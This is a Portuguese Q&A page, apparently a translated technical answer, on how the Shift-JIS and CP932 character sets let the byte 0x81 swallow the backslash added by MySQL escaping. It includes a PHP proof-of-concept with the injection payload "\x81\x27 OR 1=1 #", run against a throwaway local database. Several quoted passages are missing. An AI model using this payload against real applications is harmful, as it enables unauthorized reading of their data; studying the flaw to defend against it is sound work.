Mysql
 sql >> Base de Dados >  >> RDS >> Mysql

Como criar um ataque de injeção SQL com Shift-JIS e CP932?


O diabo está nos detalhes... vamos começar com como responder à pergunta descreve a lista de conjuntos de caracteres vulneráveis:

Isso nos dá algum contexto - 0xbf5c é usado como exemplo para gbk , não como o caractere universal a ser usado para todos os 5 conjuntos de caracteres.
Acontece que a mesma sequência de bytes também é um caractere válido em big5 e gb2312 .

Neste ponto, sua pergunta se torna tão fácil quanto esta:

Para ser justo, a maioria das pesquisas no Google que tentei para esses conjuntos de caracteres não fornece resultados úteis. Mas encontrei este arquivo CP932.TXT , em que se você pesquisar por '5c ' (com o espaço lá), você pulará para esta linha:

E temos um vencedor! :)

Alguns documentos da Oracle confirma que 0x815c é o mesmo caractere para ambos cp932 e sjis e o PHP também reconhece:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Aqui está um script PoC para o ataque:
<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}